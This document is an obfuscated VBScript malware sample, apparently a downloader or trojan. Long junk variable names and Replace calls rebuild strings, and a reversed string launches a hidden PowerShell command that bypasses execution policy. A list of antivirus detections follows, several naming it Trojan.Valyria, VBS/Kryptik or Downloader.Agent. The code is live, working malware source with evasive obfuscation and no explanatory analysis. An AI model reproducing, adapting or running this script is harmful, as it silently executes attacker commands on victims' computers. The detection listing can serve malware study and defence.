DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & "') ))"

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = Replace(DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw, "@+(

]4*}*@

]:}4@@

", "e")

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = Replace(DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw, ":((

", "o")

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = Replace(DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw, "}]}

@#}#(]

(]4@((

}", "s")

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = Replace(DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw, "#}

#@:##}@

$$:$(:

#}:@$(

]@}#$4#

", "t")

nUDtDkhwZiKEIfbGjySUnQwIONZlAcPCKotIcPSDMbmSclgHYITqYxdLqVdRAqyKdLDhevhMJhQfuDyflJrLtqNWlpDZblvYRDUiKlxcgJBKHvtVZPXahQUSTsdkxsTkvSjvGBmlBcUETHedbrpswHoamzkEzZPfIOflAFZvaM

eTdhkAAGGtYdSmAHTEuCEQEZPttBFvfzYjeLRchYPWOpfsKwCbZAHwCXRYynCoPPUubJHbwLBnokBkRqDiKBCpPjldtojRBSZQDQpVJVMsRgEzNevIcMXJWlMSOuUYdjceUFHGIqcoDhJUifXjjLEZIZoOZPRwmXEmlgiZxYbk:

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = Replace(DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw, "]

$}]$@$}

$}@}]}

$}$$@$

$@$}$$$@

}@$$$](

", "a")

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = Replace(DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw, "}(#

4@4#4](@#

#4(#(@

(+@#:4:#@

@]}}#@

", "A")

DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw = DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & StrReverse("DxujWO$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop;")

lKDnBPrkWWSIlqmdKbURHZETtgaeTwCtFDpMowGNaxpLsqLZPcIihfUyfiXQrCkCVTXRILeYyxandJwipjCVfBpsLVnfWIcfvhWtAJnzNmukTNcRAXMomMDTFeFyELbjmtXyjdIZJSYhKwCwzwSeZTlREJcYpUBxsMeogFtzfd.Run "powershell -command """ & DCBAbDTLcBrCNuMxhFXYYpxChQeUcuLnMEDPhsXLREBoOyPaEGfnvqitjqKGVwmBoWcxpGJyvTazasVkXaxRUsFDaUSQjQFewfYwmDAnqgdQjPnFMHZxFVZUqrJNgAiFBXNWyOHUKDsuMbsSWjjaYlWLRiZKGncFmEvubuleCw & """", 0, False

lKDnBPrkWWSIlqmdKbURHZETtgaeTwCtFDpMowGNaxpLsqLZPcIihfUyfiXQrCkCVTXRILeYyxandJwipjCVfBpsLVnfWIcfvhWtAJnzNmukTNcRAXMomMDTFeFyELbjmtXyjdIZJSYhKwCwzwSeZTlREJcYpUBxsMeogFtzfd.Run sFASwyIboMFrvzEWRjkTFOnKVGNjLfjMTloEMBZdcnGrfGeVnYqvWRUFLKwEBnCALQaCTGBBZkvZZrEJaToMKaczoKYKGURGRerMiHbCZMbPaIPJTdVYZabiJcpfdPEYzcAedSAqAShuMgTxwQMbqMVpVHrQDwmxmJiZEFgjxN, 0, False

Antivirus	Signature
Bkav	Clean
Lionic	Clean
MicroWorld-eScan	VB:Trojan.Valyria.8583
ClamAV	Clean
FireEye	VB:Trojan.Valyria.8583
CAT-QuickHeal	Clean
Skyhigh	Clean
McAfee	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
Baidu	Clean
VirIT	Clean
Symantec	Scr.Malscript!gen11
ESET-NOD32	VBS/Kryptik.UA
TrendMicro-HouseCall	Clean
Avast	VBS:Obfuscated-KJ [Cryp]
Cynet	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VB:Trojan.Valyria.8583
NANO-Antivirus	Clean
SUPERAntiSpyware	Clean
Tencent	Clean
Emsisoft	VB:Trojan.Valyria.8583 (B)
F-Secure	Clean
DrWeb	Clean
VIPRE	VB:Trojan.Valyria.8583
TrendMicro	Clean
CMC	Clean
Sophos	Clean
Ikarus	Trojan.VBS.Agent
Jiangmin	Clean
Varist	Clean
Avira	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Microsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	VB:Trojan.Valyria.D2187
ViRobot	Clean
ZoneAlarm	Clean
GData	VB:Trojan.Valyria.8583
Google	Detected
AhnLab-V3	Clean
Acronis	Clean
VBA32	Clean
ALYac	VB:Trojan.Valyria.8583
MAX	malware (ai score=83)
Zoner	Clean
Rising	Downloader.Agent/VBS!1.EC5A (CLASSIC)
Yandex	Clean
TACHYON	Clean
MaxSecure	Clean
Fortinet	Clean
BitDefenderTheta	Clean
AVG	VBS:Obfuscated-KJ [Cryp]
Panda	Clean